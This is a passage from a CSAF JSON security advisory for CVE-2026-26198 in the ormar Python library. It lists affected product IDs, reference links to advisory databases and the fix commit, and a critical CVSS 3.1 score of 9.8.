                    "CSAFPID-5748856",
                    "CSAFPID-5748857",
                    "CSAFPID-5748858",
                    "CSAFPID-5748859",
                    "CSAFPID-5748860",
                    "CSAFPID-5748861",
                    "CSAFPID-5748862",
                    "CSAFPID-5748863",
                    "CSAFPID-5748864",
                    "CSAFPID-5748865",
                    "CSAFPID-5748866",
                    "CSAFPID-5748867",
                    "CSAFPID-5748868",
                    "CSAFPID-5748869",
                    "CSAFPID-5748870",
                    "CSAFPID-5748871",
                    "CSAFPID-5748872",
                    "CSAFPID-5753653",
                    "CSAFPID-5908751"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-xxh2-68g9-8jqr"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-xxh2-68g9-8jqr"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-xxh2-68g9-8jqr.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26198"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-26198"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-26198"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/26xxx/CVE-2026-26198.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-26198"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-26198.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - debian",
                    "url": "https://security-tracker.debian.org/tracker/CVE-2026-26198"
                },
                {
                    "category": "external",
                    "summary": "Source - pyupio",
                    "url": "https://pyupio.github.io/safety-db/#ormar"
                },
                {
                    "category": "external",
                    "summary": "Source raw - pyupio",
                    "url": "https://raw.githubusercontent.com/pyupio/safety-db/refs/heads/master/data/insecure_full.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - gitlab",
                    "url": "https://gitlab.com/api/v4/projects/25847700/repository/files/pypi%2Formar%2FCVE-2026-26198.yml/raw"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv",
                    "url": "https://github.com/collerek/ormar/security/advisories/GHSA-xxh2-68g9-8jqr"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv",
                    "url": "https://github.com/collerek/ormar/commit/a03bae14fe01358d3eaf7e319fcd5db2e4956b16"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv",
                    "url": "https://github.com/collerek/ormar/releases/tag/0.23.0"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; gitlab",
                    "url": "https://github.com/advisories/GHSA-xxh2-68g9-8jqr"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; gitlab; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26198"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/26xxx/CVE-2026-26198.json"
                },
                {
                    "category": "external",
                    "summary": "Reference - gitlab",
                    "url": "https://github.com/collerek/ormar"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
                        "baseScore": 9.8,
                        "baseSeverity": "CRITICAL"
                    },
                    "products": [
                        "CSAFPID-5681859",
                        "CSAFPID-5681860",
                        "CSAFPID-5681861",
                        "CSAFPID-5681862",
                        "CSAFPID-5681863",
                        "CSAFPID-5681864",
                        "CSAFPID-5681865",
                        "CSAFPID-5681866",
                        "CSAFPID-5681867",
                        "CSAFPID-5681868",
                        "CSAFPID-5681869",
                        "CSAFPID-5681870",
                        "CSAFPID-5681871",
                        "CSAFPID-5681872",
                        "CSAFPID-5681873",
                        "CSAFPID-5681874",
                        "CSAFPID-5681875",
                        "CSAFPID-5681876",
                        "CSAFPID-5681877",
                        "CSAFPID-5681878",
                        "CSAFPID-5681879",
                        "CSAFPID-5681880",
                        "CSAFPID-5681881",
                        "CSAFPID-5681882",
                        "CSAFPID-5681883",
                        "CSAFPID-5681884",
                        "CSAFPID-5681885",
                        "CSAFPID-5681886",
                        "CSAFPID-5681887",
                        "CSAFPID-5681888",
                        "CSAFPID-5681889",
                        "CSAFPID-5681890",
                        "CSAFPID-5681891",
                        "CSAFPID-5681892",
                        "CSAFPID-5681893",
                        "CSAFPID-5681894",
                        "CSAFPID-5681895",
                        "CSAFPID-5681897",
                        "CSAFPID-5681898",
                        "CSAFPID-5681899",
                        "CSAFPID-5681900",
                        "CSAFPID-5700554",
                        "CSAFPID-5748835",
                        "CSAFPID-5748836",
                        "CSAFPID-5748837",
                        "CSAFPID-5748838",
                        "CSAFPID-5748839",
                        "CSAFPID-5748840",
                        "CSAFPID-5748841",
                        "CSAFPID-5748842",
                        "CSAFPID-5748843",
                        "CSAFPID-5748844",
                        "CSAFPID-5748845",
                        "CSAFPID-5748846",
                        "CSAFPID-5748847",
                        "CSAFPID-5748848",
                        "CSAFPID-5748849",
                        "CSAFPID-5748850",
                        "CSAFPID-5748851",
                        "CSAFPID-5748852",
                        "CSAFPID-5748853",
                        "CSAFPID-5748854",
                        "CSAFPID-5748855",
                        "CSAFPID-5748856",
                        "CSAFPID-5748857",
                        "CSAFPID-5748858",
                        "CSAFPID-5748859",
                        "CSAFPID-5748860",
                        "CSAFPID-5748861",
                        "CSAFPID-5748862",
                        "CSAFPID-5748863",
                        "CSAFPID-5748864",
                        "CSAFPID-5748865",
                        "CSAFPID-5748866",
                        "CSAFPID-5748867",
                        "CSAFPID-5748868",
                        "CSAFPID-5748869",
                        "CSAFPID-5748870",
                        "CSAFPID-5748871",
                        "CSAFPID-5748872",
                        "CSAFPID-5753653",
                        "CSAFPID-5908751"
                    ]
                }
            ],
            "title": "CVE-2026-26198"
        }
    ]
}